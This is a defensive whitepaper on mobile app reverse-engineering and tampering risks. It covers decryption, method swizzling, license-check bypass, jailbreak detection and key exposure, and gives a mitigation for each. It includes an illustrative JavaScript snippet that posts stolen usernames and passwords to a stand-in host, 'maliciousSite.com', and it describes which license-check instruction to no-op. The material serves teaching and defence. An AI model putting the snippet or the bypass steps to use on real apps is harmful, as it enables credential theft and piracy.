Technical Risks of Reverse Engineering and Unauthorized Code Modification

=Introduction=

With the recent move towards mobile applications, an adversary can now see, touch, and directly modify a lot of the application’s presentation and business layer code within the mobile computing environment. This capability allows the adversary to realize the same traditional business threats as before (with web applications) but in genuinely new and unconventional ways.

Attackers now leverage reverse-engineering and tampering attack techniques to realize the following pervasive threats on the mobile platform:
 * Spoofing: interception of other users’ authentication credentials and using said credentials to conduct transactions on the victim’s behalf;


 * Code modification: changing critical business logic, control flow, and program operations; disable or circumvent security controls to bypass authentication, encryption, license management / checking, digital rights management or root / jailbreak detection;


 * Information Disclosure: lifting or intercepting digital keys, certificates, credentials, metadata, proprietary algorithms, other application internal logic; and


 * Elevation of Privilege: Propagating unauthorized distribution of code; insertion of malware or exploits in the application and repackaging.

These unique threats are sponsoring evolution from web application security techniques to new mobile application security approaches.

Traditional secure coding techniques that were relevant to preventing attacks through web application security controls are completely irrelevant to preventing reverse-engineering and tampering attacks. Even if an organization produces ‘perfect’ code that employs secure coding techniques at all times, the organization cannot apply these same techniques to prevent an adver¬¬sary from applying reverse engineering techniques on an application that physically resides within the adversary’s phone. The compiled mobile application code, no matter how unreadable to human eyes, is reversible and modifiable by an adversary using many easily accessible reverse engineering tools.

The primary focus of this note is to address native or hybrid mobile applications and client-side binary-level attacks (i.e., adversary has the mobile application binary that she seeks to compromise). The rest of this document describes technical and business risks that may result from reverse engineering or integrity violation of applications.

Risks Overview
=Code Modification / Injection Technical Risks= This section focuses on key IT operational risks that organizations must consider for applications that store, transmit, or process sensitive information assets in an untrustworthy environment. Risks highlighted in green describe technical scenarios in which an adversary modifies the underlying binary of the application: The primary audience of this section is a technical audience interested in learning more about relevant attack vectors and mitigation strategies that relate to unauthorized code changes.

Description
For an adversary to modify an app, they must first defeat Apple’s code encryption and code signing technology that Apple automatically includes with each app in its App Store. Once the adversary bypasses these controls, they can modify this app and host it on a third-party site for download. Victims can use their iDevices (non-jailbroken) to download and execute these apps from these third-party sites.

To defeat Apple’s initial security controls, the adversary must first download the app from the iTunes store or through an Enterprise using an Enterprise deployment model. Next, the attacker must successfully start the app on a jailbroken iDevice. In doing so, the adversary can decrypt the app using unauthorized tools and execute subsequent steps to make the desired modifications.

Technical Explanation
iOS apps downloaded from Apple's App Store are encrypted and signed by Apple. They can only run on devices that are able to decrypt them and validate their signatures. To pirate such an app, adversaries must create a cracked (decrypted and unsigned) version of the app and republish it on third-party sites. Victims can then use approved (non-jailbroken) iDevices to download and execute these apps from these third-party sites.

To decrypt the app, adversaries use tools such as clutch. An adversary uses clutch to decrypt the application and store it locally in a state that can be analyzed further by a decompiler. To execute this application, the adversary must run the tool and the corresponding application in a jailbroken environment.

Technical Recommendations
To mitigate the technical risks associated with unauthorized repackaging, consider doing the following:


 * Insert security controls at the appropriate code entry points that the application will invoke as early as possible within the app’s lifecycle. These controls should adequately detect if the device is running in a jailbroken environment.  In the event that the app is running in said environment, the code should force the application to react, such as provide server notification, fail in a subtle way or even terminate for high risk, critical applications;


 * Jailbreak / Root detection controls should inspect the environment for particular indicators such as the presence of particular files, file permissions, and running processes; and


 * Treat this risk in the same way as when trying to defeat automated jailbreak/root detection breakage tools. Follow the advice from the appropriate section.

Description
Objective-C supports dynamic redirection of method invocations from one method to another of the same signature. This handy feature is commonly referred to as method swizzling. This feature is typically used in cases where an application needs to perform method substitution or method extension.

An adversary can leverage this feature and redirect Objective-C method calls to malicious code provided by the adversary in the form of an external library. The Objective-C runtime will invoke the adversary’s malicious form of the method rather than the original and safe one.

This feature is also exploitable within Android environments through Cydia Substrate tools that facilitate such attacks. In said environments, the tool targets NDK-based applications written in C/C++.

Technical Explanation
The Objective-C runtime lets an application modify its mapping from a selector (method name) to an implementation. In doing so, an application can patch a method and execute additional code each time the original method is invoked by the runtime engine. This is typically done when an organization cannot inspect or modify the original method.

An adversary can take advantage of this feature to force the engine to execute unauthorized code. To exploit method swizzling, an adversary will typically inspect the metadata of an Objective C app and identify methods that are performing sensitive operations. Then, the adversary will inject a malicious dynamic library onto the device to intercept API calls made to the sensitive method. The engine will redirect method calls to the dynamic library. Upon intercepting the call, the adversary will execute arbitrary code in lieu of the original method.

In the example below, an iOS delegate executes a financial transaction requested by the user:

// Transaction-request delegate - (IBAction)performTransaction:(id)sender {      if([self loginUserWithUsername:username incomingPassword:password] != true) {         UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"Invalid User"                                                          message:@"Authentication Failure"                                                         delegate:self                                                cancelButtonTitle:@"OK"                                                otherButtonTitles:nil];          [alert show];          return;          }       // Perform sensitive operation here       }

An adversary will use iOS Mobile Substrate to intercept the method call to loginUserWithUsername and change its behavior to always return true. In doing so, the adversary tricks the application into perform the sensitive code remaining in the performTransaction method.

Within the Android space, Cydia Substrate can also be used to hook NDK C/C++ apps.

Technical Recommendation
To mitigate the technical risks associated with method swizzling and subsequent code modification, consider doing the following:
 * If the application is intentionally performing a swizzle, an adversary will exploit this design decision and swizzle this particular method as it will be a reliable entry point into the application. Strongly consider redesigning and eliminating this design feature; and


 * Mitigate this risk using the same strategy as done for swizzle monitoring. Follow the technical recommendations from the appropriate risk category.

Description
Many apps contain decision-making control flows that guard the execution of sensitive operations. Without protection, such logic is subject to circumvention by the adversary through unauthorized code modification.

Technical Explanation
Security controls are methods or pieces of code that are responsible for enforcing business policies within software. Examples of security controls include the following:


 * Authentication;
 * Authorization;
 * Data Validation;
 * Session Management;
 * Exception Handling;
 * Logging and Auditing;
 * Code Signing; and
 * Licensing.

Attacks on security controls are very common. For example, adversaries alter control flows to bypass authentication checks or licensing requirements. Often, an adversary will enable otherwise prohibited functionality embedded in an app.

Google Play apps leverage Google’s LVL framework to verify that users have properly paid for the app. LVL determines the licensing status on behalf of the app through the LicenseChecker class. The class abstracts and hides the complexity of the licensing mechanism (including network communications with Google's servers). An adversary defeats LVL logic by modifying a single decision-making instruction declared within the LicenseChecker.checkAccess method—i.e., no-op out the instruction highlighted below:

.method public delcared-synchronized checkAcces(Lcom/android/vending/licensing/LicenseCheckerCallback;)Validation .locals 9 .parameter "callback" .prologue .line 133 monitor-enter p0   :try_start 0 iget-object v1, p0, Lcom/android/vending/licensing/LicenseChecker;->mPolicy:Lcom/android/vending/licensing/Policy; invoke-interface {v1}, Lcom/android/vending/licensing/Policy;->allowAccessZ move-result v1   if-eqz v1, :cond_0 line 134 const-string v1, "LicenseChecker""

Methods that return a boolean value and behave as a security control (authentication; authorization; data validation; license checks; etc.) are particularly attractive to an adversary for modification or bypass.

Technical Recommendation
To minimize the risk that an adversary will modify control-flow and disable security controls with an application, consider doing the following:


 * Perform a checksum of code that contains critical instruction-branch code. Checksum validation of this code should occur immediately before the application executes this code;


 * Add additional checksums that check the original checksum to ensure that an adversary is unable to modify the original checksum;


 * Additional checksum validations of the code and other checksums should occur in other random parts of the application to ensure redundant validation that is unpredictable to the adversary; and


 * Ensure that the checksum code does not have a binary signature that is easily identifiable by the adversary. Otherwise, the adversary will be able to identify all checksum instances and bypass them.

Description
Organizations may want to know that their code is running in a Jailbroken environment for a number of different reasons. For example, they may choose to not honor a financial transaction conducted on the device due to increased uncertainty of its security environment. An adversary can force an application to run in these devices by modifying the logic of the jailbreak-detection code.

Jailbreak detection code is notoriously difficult to implement correctly due to a myriad of evolving techniques available for an adversary to bypass or trick the code. The adversary successfully tricks the code into running in a hostile environment.

Technical Explanation
Many security-sensitive iOS apps such as mobile banking and peer-to-peer payment apps require a secure environment in order to execute. These apps have capabilities to detect whether their host is sound. They may choose to not execute in jailbroken environments due to valid security concerns. The jailbreak-detection mechanisms implemented within many apps are exposed in the clear, without protection, and can be defeated easily.

There are various ways to detect whether an iOS device has been jailbroken. Below are some examples:
 * Detect the existence of Cydia: Cydia is an iOS app that finds and installs software packages on jailbroken devices. Its existence on a device indicates the device has been jailbroken. Sample detection code:

NSString *path = @"/Applications/Cydia.app"; if ([[NSFileManager defaultManager] fileExistsAtPath:path]) {      // jailbreak detected    }


 * Detect the existence of /private/var/stash: /private/var/stash is a folder created on jailbroken devices. One way to check its existence is to execute a system call via inlined-assembly code. Below, 0xBC is the system call number for stat, and register R0 points to a /private/var/stash string.

__asm__(   "mov R12, #0xBC\n\t"    "svc #0x80"    );


 * Detect non-sandboxed behavior: Since the point of jailbreaking is to break out from the application sandbox, being able to do things prohibited by the sandbox is an indicator of jailbreak. For example, sandboxed processes are prohibited to fork child processes. By calling fork and checking the returned code, an app can detect whether it is run on a jailbroken device.

The above algorithms represent a small subset of the necessary algorithms needed to properly detect a jailbroken environment. Adversaries can use a wide assortment of reverse-engineering and integrity-violating schemes to bypass each specific algorithm technique. To automate attacks against jailbreak-detection mechanisms, adversaries leverage automated tools like xCon. xCon is a closed-source tool that can circumvent jailbreak-detection checks implemented in a number of iOS apps. It has succeeded in attacking many apps.

To effectively prevent automated jailbreak-detection attacks with tools like xCon, organizations must build a detection control that includes an accurate and complete set of algorithms that will detect a jailbroken environment. The set of algorithms and other aspects to look for is quite extensive. Then, organizations must combine all of these algorithms with appropriate reverse-engineering and integrity-violation prevention techniques.

xCon does not defeat apps that are secured with multi-layered protection schemes comprised of a combination of the right algorithms and reverse-engineering and integrity mitigation strategies.

Technical Recommendations
To mitigate the risks that the organization has not implemented a complete and balanced jailbreak detection routine, consider doing the following:


 * Follow the risk mitigation strategy of method swizzling prevention to prevent an adversary from weakening a jailbreak detection control already implemented;


 * Follow the risk mitigation strategy of branch-failure prevention in order to prevent an adversary from making unauthorized changes to control-flow related to Jailbreak detection;


 * Implement all of the appropriate jailbreak detection algorithms disclosed through various jailbreaking communities such as xCon.

Description
Within hybrid apps, an application contains an outer shell that is typically written in Java or Objective-C. In the inner shell, the application contains a set of presentation files typically exposed as HTML, JavaScript, and CSS files. An adversary may choose to modify these presentation-layer files to perform unauthorized operations through JavaScript modifications or additions.

Technical Explanation
An adversary may choose to modify JavaScript files within a hybrid app in order to execute foreign code within the mobile computing environment. In such a scenario, the adversary has full access to the local document object model (DOM) and can silently pass any information available from the DOM back to the adversaries’ site.

In the code modification below, an adversary modifies local JavaScript files that are executed within the mobile application’s environment:

$.post("http://maliciousSite.com",         { username: loginUsername, password: loginPassword },          function(data) {             alert("Response: " + data);             }          );

In this code change, the adversary has modified the application’s presentation layer to transmit the victim’s username and password to the adversary’s third-party site maliciousSite.com. Further ideas for modification include transmission of session cookies, remote control, unauthorized code execution and privilege escalation.

Technical Recommendation
To mitigate the risk that an adversary will run arbitrary JavaScript within a mobile application, consider doing the following:


 * Perform a checksum of any external presentation-layer files that the application is dependent upon. This checksum should compare the checksum of the files at build-time to the values found at runtime.  In the event that the checksums do not match, respond appropriately to the attack;


 * Perform additional random checksums in unrelated parts of the application to thwart the adversary’s attempt to establish a reliable crack;


 * Perform additional checksums on the original checksums to ensure that the adversary is unable to tamper with the original checksum; and


 * Ensure that the checksum code does not have a unique binary signature that an adversary can easily identify. In such a scenario, an adversary will be able to quickly identify and disable all checksum instances within the binary.

Description
Applications use cryptographic keys to encrypt or decrypt sensitive data residing in a local store or in memory. Attackers may be interested in replacing keys to hijack the encryption process used by the application.

Technical Explanation
Many applications perform cryptographic operations on data using cryptographic keys. These operations and keys are kept private from users. However, an adversary may perform dataflow analysis of an application in order to identify a particular key in use. In the example code below, the organization uses a hardcoded key that an adversary can find and replace within a data security control implemented in Objective-C:

CFDataRef cfDataCryprographyKey = NULL; /* 128-bit AES key. */  const uint8_t rawcryptokeyarr[16] = {63, 17, 27, 99, 185, 231, 1, 191, 217, 74, 141, 16, 12, 99, 253, 41};  void *rawcryptokey = &rawcryptokeyarr; size_t keylen = sizeof(rawcryptokey) cfDataCryprographyKey = CFDataCreate(kCFAllocatorDefault, rawcryptokey, keylen);

In this case, the adversary will replace the binary string {63, 17, 27…} with a custom binary key that allows for control over the encryption and decryption process. The adversary can then steal or modify the associated data.

Technical Recommendations
To mitigate the risk that an adversary will force cryptographic keys to a particular value and subsequently decrypt / modify contents, consider doing the following:


 * Use dynamic keys at all times within the application. Otherwise, the application’s compiler will store hardcoded keys in their raw form within the final binary.  An attacker will be able to identify such keys by examining any associated method calls;


 * If hardcoded keys must be used, implement the following algorithm in order to prevent an adversary from replacing the key within the binary:

1. Damage static keys that are declared in source code. Such keys should be damaged while on disk to prevent an adversary from analyzing and intercepting the original key; 2. Next, the application should repair the key just before the code requiring the key uses it; 3. Immediately before use of the key, the application should perform a checksum of the key’s value to verify that the non-damaged key matches the value that the code declares at build time; and 4. Finally, the application should immediately re-damage the key in memory after the application has finished using it for that particular call.

= Reverse Engineering and Code Analysis Technical Risks =

This section focuses on technical risks that result when an adversary is able to determine how an application is built. Risks highlighted in green in the following graph are discussed in greater detail within this section:



The primary audience of this section is a technical audience interested in learning more about relevant attack vectors and mitigation strategies that relate to unauthorized reverse engineering of software.

Description
Code built using an intermediate language such as Objective-C or Java is highly vulnerable to reverse engineering. Compiled applications written in these languages include source-level class interfaces and other rich metadata that the associated compiler will automatically include within the final binary.

An adversary can use easily accessible tools to extract this metadata to reveal a great deal of information about sensitive parts of the program. The adversary may find such information useful on its own or use it as a stepping-stone to perform unauthorized code modifications.

Technical Explanation
Objective-C and Java programs contain rich information about themselves. Both language compilers will embed definitions of the class interfaces and the relationships among the classes in the binaries. Such information is one of the first things an adversary will seek when attacking an app.

In the example below, an adversary extracts class interfaces from the binary using the class-dump-z tool. The tool is specifically built for reverse-engineering. Below is a class interface extracted from a real-world iOS banking app:

@interface CardIODevice : XXUnknownSuperclass { +(int)jailbreakStatus; +(id)getSysteInfoByName:(char*)name; +(id)platformName; +(BOOL)is3GS; +(BOOL)hasVideoCamera; +(id)generateUniqueIdentifier; +(id)savedUniqueIdentifier; +(id)hashedUniqueIdentifier; +(float)imageScaleForCurrentDevice; +(BOOL)deviceUses2X; +(id)deviceAnalyticsDictionary; +(id)hashedMacAddress; +(id)macaddress; +(id)jailbreakStatusAsString; @end

The interface describes the underlying architecture and design of the application. This information greatly aids the adversary in identifying valuable targets within the application. In this particular interface, an adversary is going to immediately identify the jailbreakStatus method as a particularly attractive target for modification. If the adversary can successfully disable this method, an adversary will force the app to run in a particularly insecure perform that allows for subsequent attacks.

Technical Recommendation
To mitigate the technical risks associated with exposing method interfaces and associated metadata, consider doing the following:


 * Deploy method-scrambling to reassign methods to other methods at the binary level. Method scrambling techniques can only by applied to methods with the same number of parameters and parameter types.  By using this technique, an adversary will be misled into paying attention to the wrong targets for modification or interception.  At the same time, the original source code will not require any changes;


 * Remove any extraneous methods from the symbol table that are not required at runtime to be exposed within a production build; and


 * Rename any remaining exposed methods to values that do not reflect the semantics of the underlying functionality. Otherwise, an adversary will be unable to successfully hone in on attractive targets for modification or further analysis.

Description
Objective-C and Java support dynamic redirection of method invocations from one method to another of the same signature. This handy feature is commonly referred to as method swizzling. This feature is typically used by organizations when an application needs to perform method substitution or method extension of code. In such a scenario, the organization may not have source code for the original method. An adversary can leverage method swizzling to monitor the order of execution of Objective-C method calls. This allows an adversary to understand control-flow without having to manually inspect the contents of the application’s binary.

This feature is also exploitable within Java environments through Cydia Substrate tools that facilitate such attacks. In said environments, the tool targets NDK-based applications written in C/C++.

Technical Explanation
The Objective-C runtime lets an application modify its mapping from a selector (method name) to an implementation. In doing so, an application can patch a method and execute additional methods each time the original method is invoked by the runtime engine. This is typically done when an organization cannot inspect or modify the original method.

An adversary can take advantage of this feature to create a log of method calls invoked by the application. An adversary will be able to understand the controlflow of an application without decrypting the binary and analyzing it through the use of tools like IDA Pro.

Technical Recommendation
To mitigate the technical risks associated with controlflow analysis through method swizzling, consider doing the following:


 * Translate any particularly sensitive methods into native C/C++. These code snippets will not be susceptible to method-swizzling attacks;


 * If Objective-C has to be used for such methods, treat this as a sensitive method that must be hidden within the exposed metadata. It will not stop swizzling from occurring but will lower the likelihood that an adversary will discover this method.  Follow the recommendations from that particular risk category; and


 * Avoid making any direct method calls to system libraries. Instead, invoke the corresponding system call using inlined-assembly code.  This will prevent an adversary from directly intercepting the method or its parameters through this technique.

Description
Code built using an intermediate language such as Objective-C or Java is highly vulnerable to reverse engineering. Compiled applications written in these languages include source-level metadata that is included within the final binary. An adversary can use easily accessible tools to extract such metadata to reveal sensitive static fields or other global variables. Typically, the adversary will attempt to modify the value of these fields at runtime to alter the behavior of the application.

Technical Explanation
Native apps contain program symbols that reveal the locations and semantics of their data. These symbols provide helpful information that facilitates reverse engineering. Hackers can easily extract the symbols and analyze their associated data using tools such as IDA Pro. As an illustration of the amount of information these symbols can reveal, below is a partial list of the symbols found on a real-world iOS banking app (the list was produced by nm, a symbol-dumping command-line tool):

001ffccc S _creditCardNumber 001ffe04 S _creditCardType 001ffc7c S _creditCardCVV 001ffd5c S _creditCardDescription 001ffc8c S _creditCardExpiryMonth 001ffcac S _creditCardExpiryYear …   002b451c S _CardIOCardScanningDidBecomeAvailable 002b4520 S _CardIOCardScanningDidBecomeUnavailable

In this example, the application declares sensitive data fields (about authentication and credit card information) and accurately describes what they will contain at runtime. Symbol names and locations reveal the internal assets of the application.

Compiler toolchains such as gcc and GNU’s binutils produce such symbol-laden binaries by default. Gcc produces extraneous export-table symbols including local symbols that it should not export. Often, the application will not use such symbols at runtime. Organizations release the application with these symbols due to the default compiler settings.

Technical Recommendations
To mitigate the risks associated with exposed data symbols, consider doing the following:


 * Change compiler settings and source code to ensure that the application’s compiler will not expose any extraneous data symbols within production releases of code;


 * If the data symbol being protected is static in nature, encrypt the contents of the field while it is on disc and in memory at the appropriate times. This will prevent an adversary from modifying the contents of the field at runtime; and


 * If the data symbol being protected is not static in nature, obfuscate the value of the field within the application’s memory at runtime to prevent runtime modification of the data’s value.

Description
A compiler will store hardcoded strings as plaintext in an application’s final binary image. Typically, such strings are used by the application as parameters. An adversary can examine the contents of these strings and achieve a number of different objectives: identify sensitive algorithms, identify the nature of these algorithms, discover hardcoded passwords, understand internal database designs, and much more.

Exposed string tables pose similar technical risks as other forms of exposed metadata such as methods and class fields. However, this particular form of information gathering attack is particularly attractive to an adversary as the tables typically reveal much more sensitive information compared to code or data symbols. String tables represent the ‘low-hanging fruit’ of information gathering attacks.

Technical Explanation
Application binaries contain plaintext string literals carried over from their source code. Adversaries can easily extract these strings using tools like strings to quickly search for information that may help them in subsequent attacks.

For instance, an adversary may be interested in finding authentication and authorization-related code. She can look for method names that match the patterns authenticate, authorize, password, token, access, or similar words. After finding the strings of interest, the adversary can locate code that uses these strings to further the analysis.

Below is a partial dump of strings found in a real-world iOS banking application binary (the list was produced by strings, a command-line tool that extracts printable strings from arbitrary files):

datastorage.db  create table if not exists datacache (id text primary key, age text, data blob) select id from datacache where id=? replace into datacache (id, age, data) VALUES(?, strftime('%s', 'now'), ?) select data from datacache where id = ? Server=analyticsServer;Database=userProfiles;Uid=incomingApp;Pwd=kl23k2ls; %@/mobile/accountbalance?session_token=%@ T@"NSArray",&,N,VerrorList totalBalance pendingBalance aggregateBalance known_app_paths cydia /Applications/Cydia.app jailbroken jailed jailbreak_status ios_jailbreak_status

The dump shows that the application stores user information within a local database. Furthermore, the application appears to connect to a MySQL database that gathers user information. To do this, the application connects to a user profile database using username incomingApp with password kl23k2ls. In response to this new information, an adversary may choose to conduct an infrastructure attack and connect to the profile database to extract privacy related data about the users of the app.

The presence of the /applications/Cydia.app string is a strong indicator that the app is trying to detect if it is running in a jailbroken environment by looking for this file. The adversary can now perform further analysis to understand all jailbreak detection algorithms associated with this string.

An adversary uses a disassembler or decompiler to analyze the code that uses these sensitive strings. Analysis will lead to the code that the adversary is interested in compromising (e.g., if an adversary wants to attack the jailbreak-detection mechanism, the code that uses the /applications/Cydia.app string will be a good candidate to attack).

Technical Recommendation
To mitigate the risks associated with exposed strings, consider doing the following:


 * Encrypt plaintext strings in the application’s binary at build time. Afterwards, an adversary will be unable to inspect the strings’ content.  At runtime, decrypt each encrypted string just before the application uses it.  Immediately after use, re-encrypt the string; or

This damage/repair approach is similar to the first recommendation. However, the damage/repair approach has an additional advantage of being able to erase modifications of the strings made by adversaries. For example, if an adversary has modified a disguised version of /applications/Cydia.app to /does_not_exist, then the runtime repair action will remove the attack change and restore the string back to the original.
 * Disguise sensitive strings at build time by damaging some or all of the bytes in the application binary with random or irrelevant bytes. At runtime, repair the damaged strings just before use. Immediately after use, re-damage the string in memory.

Description
Applications use cryptographic keys to encrypt or decrypt sensitive data. Attackers may be particularly interested in stealing the associated keys in order to decrypt and copy sensitive data from a local repository or memory stream residing within the application’s process.

Technical Explanation
Many applications perform cryptographic operations on data using cryptographic keys. These operations and keys are kept private from users. However, adversaries discover such keys through static or dynamic binary analysis. Consider an application that uses cryptographic operations provided by system libraries. The application must pass appropriate keys to these libraries in order to decrypt the data. At runtime, adversaries may choose to monitor the system library interface and intercept calls to decryption methods. The application will pass the appropriate key as a parameter to these methods and the adversary will successfully grab the key.

As another example, imagine an application that tries to mitigate this risk by implementing its own cryptography or statically links to a third-party library. In response, the adversary will examine the application’s symbol table and look for cryptography-related method names (including the words key, crypto, encrypt, sign, AES, MD5, and so on).

The symbols contained in the following real-world banking app reveal the use of the AES and HMAC-SHA1 algorithms:

$nm BankingApp | grep key -i --col 001f7040 t +[AES256Encryption AES256Decrypt:WithKey:] 001f6f0c t +[AES256Encryption AES256Encrypt:WithKey:] 00166adc t +[AFKeychainUtils createKeychainValue:forIdentifier:] 00166930 t +[AFKeychainUtils newSearchDictionary:] 00166b64 t +[AFKeychainUtils searchKeychainMatching:] 00166cd8 t +[AFKeychainUtils setString:forSecureKey:] 00166e18 t +[AFKeychainUtils stringForSecureKey:withDefault:] 00166a34 t +[AFKeychainUtils updateKeychainValue:forIdentifier:] 00166c68 t +[AFKeychainUtils updateOrCreateKeychainValue:forIdentifier:] 00166fa8 t +[AFSHA1 hmacWithData:withKey:] 00201f00 t +[CardIOKeychain dataForKey:] 00201ed8 t +[CardIOKeychain keychainKeyForKey:] 00202054 t +[CardIOKeychain setData:forKey:] 002019a4 t +[CardIOMacros localSettingForKey:defaultValue:productionValue:] 001f8850 t +[CardIOURLConnection basicAuthKey] 001f5234 t +[MDUserConstants_Private getSecretKey:] 001f52d0 t +[MDUserConstants_Private setSecretKey:]

The adversary analyses the AES256Decrypt and getSecretKey methods using IDA Pro. Through this analysis, the adversary learns that the secret AES key passed to the AES256Decrypt method is derived from an MD5 hash of several constant strings encoded in the program. The adversary discovers that the key is not really a secret.

Lastly, adversaries may use more sophisticated means of identifying cryptographic algorithms in use within the application. Special binary patterns or numeric constants indicate the presence of specific cryptographic algorithms (e.g., the 0x6a09e667, 0xbb67ae85, 0x3c6ef372, and other integer constants that uniquely identify the SHA-2 algorithm). This technique requires more work than searching through program symbols and strings.

Technical Recommendations
To mitigate the risk that an adversary will intercept and steal cryptographic keys from an application, consider doing the following:


 * Use a dedicated whitebox cryptography technology to handle all cryptographic operations. Such technologies should prevent an adversary from identifying the encryption algorithm through binary analysis or symbol exploration.  As well, such technologies should prevent an adversary from intercepting said keys through API interception.  Lastly, these tools should always prevent the adversary from pinpointing any keys within the application’s memory space;


 * If the application must dynamically call third-party libraries, treat this risk in the same way as other risks related to swizzling prevention. Follow the risk mitigation strategies from the appropriate section; and


 * If secret keys must be hardcoded in the app, treat this risk in the same way as other sensitive strings that reside within the binary. Follow the recommendations from that risk category.

Description
Adversaries often target proprietary algorithms encoded within mission-critical software because they intend on reproducing similar software. Without protection of the algorithm from examination, such algorithms are vulnerable to disclosure through the use of commonly available tools like IDA Pro or Hopper. An adversary can then replicate these algorithms in their own software.

In a more advanced scenario, the adversary may have to bypass code encryption security controls that attempt to restrict access to the original form of the binary. This can be done easily using tools like clutchmod. After bypassing any local decryption, the adversary can then return to the original task of analysis of the original binary. Often, these tools are very effective at recreating high-level pseudocode that is quite similar to the original source code.

Technical Explanation
Commercial software applications contain important proprietary algorithms that are vital to their business. Such algorithms, if disclosed, may result in reproduction of the same types of services by competitors. Hence, these algorithms are trade secrets and kept hidden from the marketplace. When deployed in their original form, an adversary will discover hidden algorithms, extract them, and misuse them within competing products. The original owners of the algorithms are unaware of these attacks until it is too late.

Algorithms encoded in intermediate languages such as Objective-C or Java are particularly vulnerable. Decompilers have made it simple to turn low-level assembly code to a high-level source-like pseudocode. The Hex Rays Decompiler, a plugin to IDA Pro, is an excellent example. Widely used by adversaries and security researchers, it can decompile almost any ARM or x86 code into its original form with startling accuracy. Another tool, Hopper, is also gaining widespread adoption. This tool offers a much lower price point than Hex Rays and is quite effective.

Technical Recommendations
To mitigate the risks of algorithm theft, consider doing the following:


 * Avoid coding sensitive algorithms in intermediate languages such as Java or Objective-C. Algorithms written in such languages will contain a large volume of metadata.  If an adversary gets access to the binary, the metadata will allow an adversary to reproduce the original source code with remarkable accuracy; or


 * If it is not possible to avoid specifying such algorithms in Objective C or Java, apply obfuscation techniques to sensitive methods contained within the application. Obfuscation is often confused with simple method-renaming techniques.  Obfuscation techniques go far beyond simple method renaming.  Apply the following techniques to sensitive code: instruction block chopping, instruction substitution, symbol chopping, method-inlining, and dummy-code insertion.

Description
To reverse-engineer an iDevice application, the adversary must attach a debugger to the relevant process and capture an unencrypted form of the application to disk. This is a critical first step towards understanding how the application works and how the adversary should modify it.

Technical Explanation
Typically, adversaries use tools like clutchmod to decrypt an application and store it to disk. This tool starts the application and attaches a debugger to it while it is running. At this point, iOS has decrypted the application and is executing it in memory. After iOS has loaded the application, the tool captures the decrypted memory image and repackages it into an unencrypted IPA file.

Clutchmod modifies the image’s LC_ENCRYPTION_INFO.cryptid field and sets this value to 0. This indicates to iOS that the application no longer requires decryption upon startup. Furthremore, clutchmod removes the image’s SC_Info folder. This folder contains signature information used by the iOS to enforce code-signing.

Once the adversary has successfully gathered the unecrypted form of the application, they proceed to subsequent steps of static analysis and modification.

Technical Recommendations
To mitigate the risks that an adversary will successfully attach a debugger to the application’s running process, consider doing the following:


 * Insert defensive code into the app that can detect if the application’s signature has been removed. The inserted code should check for the presence of the SC_Info folder. If the folder does not exist, this is a strong indicator that the application has been successfully decrypted.  The application should respond appropriately by failing in subtle and unpredictable ways; and


 * Invoke additional code within the application that will detect the presence of debuggers. Invocation of said code should occur just before sensitive code is executed or assets are decrypted in memory.  There are a diverse number of techniques appropriate for the detection of debuggers.

= Business Risks =

In today’s business environment, organizations face an ever-increasing number of different business risks that must be intelligently acted upon. This section of the report focuses on key business risks that organizations must consider for applications that store, transmit, or process sensitive information assets in an untrustworthy environment. Risks highlighted in red in the following graph are discussed in greater detail within this section:



The primary audience of this section is a business audience interested in understanding the business impacts of unauthorized reverse engineering or code modification.

Five Strategic Recommendations for Mitigating Reverse Engineering / Code Modification Business Risks
To mitigate each of the business risks outlined in this section of the report, consider doing the following:


 * Educate stakeholders about how mobile application security risks and practices need to go beyond avoiding programming flaws (“building it secure”) to proactively ensuring protection in the wild against hacking attacks (“keeping it secure”);


 * Assess the value at stake in mobile applications (e.g., brand, trust, IP, revenue, data);


 * Assess technical risks in mobile applications to identify attack targets and binary-level attack vectors with reverse-engineering, code analysis, code modification and injection;


 * Develop a plan to protect mobile applications against these attacks prior to releasing / deploying them “into the wild”; and


 * Consider using best-of-breed protection tools that enable injection of self-defense and tamper-resistance mechanisms in the application.

Description
For many companies, their success is predicated on customer trust in the products and services. Even the mere existence of hacked, cracked, or infested versions of mobile applications or public knowledge of successful attacks can damage the brand of the application provider and deteriorate customers’ trust.

Dependent Technical Risks
To realize this business risk, an adversary must realize any of the other business risks outlined in this document. Historically, the media have tended to report on incidents that relate to the following business risks:


 * Intellectual Property Theft;


 * Privacy Related Data Theft;


 * Revenue Loss and Piracy; and


 * Unauthorized Access and Fraud

Description
Often, an adversary will modify an application’s business logic to allow the user to do something they would otherwise be unable to do. For instance, within the world of multi-player gaming, classic examples include unauthorized patches that give a game player infinite health. Such unauthorized changes compromise the user experience and also lead to damage of the organization’s brand.

Dependent Technical Risks
To realize this business risk, an adversary must realize any of the following technical risks:


 * Automated Jailbreak-Detection Breaking;


 * Root Detection Modification; or


 * Security Control Bypass.

Description
Intellectual property (IP) theft is a big concern for organizations that have developed valuable proprietary software IP (e.g., unique algorithms) that are included in mobile applications. For instance, current or potential competitors can decompile and analyze the source code and lift the relevant IP for their purposes. This is especially concerning when the applications are accessible in regions (e.g., China and various emerging countries) that are not effectively enforcing IP rights. IP theft is also possible even on the server-side if the server code is hosted in an environment where adversaries may access the server and move the code to a different location where it can be reverse-engineered.

Dependent Technical Risks
To realize this business risk, an adversary must realize any of the following technical risks:


 * Algorithm Analysis;


 * Exposed Data Symbols;


 * Exposed Method Signatures; or


 * Application Decryption.

Description
An application that stores, transmits, or processes personally identifiable information (PII) is at risk of modification by an adversary. Typically, adversaries will modify the application and force it to transmit such privacy-related data to a site hosted by the adversary. An adversary may also lure a victim to download and execute the modified apps in order to install spyware on the victim’s device.

Dependent Technical Risks
To realize this business risk, an adversary must launch any of the following technical threats:


 * Cryptographic Key Interception;


 * Swizzle Without Behavioral Change;


 * Swizzle With Behavioral Change;


 * Modification of Presentation Layer; or


 * Repackaging.

Description
Confidential information is defined as information that relates to the daily functioning of an organization. The disclosure of confidential information may result in direct damages to the organization but would not directly affect consumers of services or products produced by the organization. This type of theft is typically referred to as corporate espionage.

An application that stores, transmits, or processes confidential information can be subject to multiple types of compromises. An adversary may bypass access and usage controls to access competitive information. Alternatively, the adversary may choose to intercept and steal authentication credentials, or modified applications to install spyware for remote control/monitoring purposes.

Dependent Technical Risks
To realize this business risk, an adversary must launch any of the following technical threats:


 * Security Control Bypass;


 * Modification of Presentation Layer;


 * Swizzle with Behavioral Change; or


 * Cryptographic Key Interception.

Description
